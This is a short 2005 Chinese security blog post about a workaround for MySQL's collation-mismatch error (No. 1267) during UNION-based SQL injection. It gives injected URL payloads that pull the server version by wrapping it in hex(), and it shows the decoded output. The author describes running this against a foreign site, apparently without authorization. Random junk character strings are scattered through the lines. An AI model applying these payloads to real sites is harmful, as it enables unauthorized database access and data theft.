MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
文章性质：原创
发布日期：2005-10-18
# W* x; t/ ]- a1 r测试个国外的站时：
! b2 U  z6 a: |. v& d/ lurl：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
+ ~3 p& r/ B) E5 R* ~MySQL Error No. 126
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
解决办法：转为其他编码如hex。
5 {: K1 q4 l& }5 {url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
- j8 k# w8 Z% h( a  n* T342E312E332D62657461
& q: S. @* G1 d; ?. l6 ~" y# p5 ]9 A回Mysql查询下得到：
9 I1 g, A% e. A) R5 lmysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
+ `4 B2 V% d) ~4 F3 n/ P$ R7 k| 4.1.3-beta |
. k; u+ E8 ~# F1 I+------------------------+
' U4 i% u9 I& J* T$ x1 row in set (0.00 sec)

% G; X* S" O7 u. q8 y$ b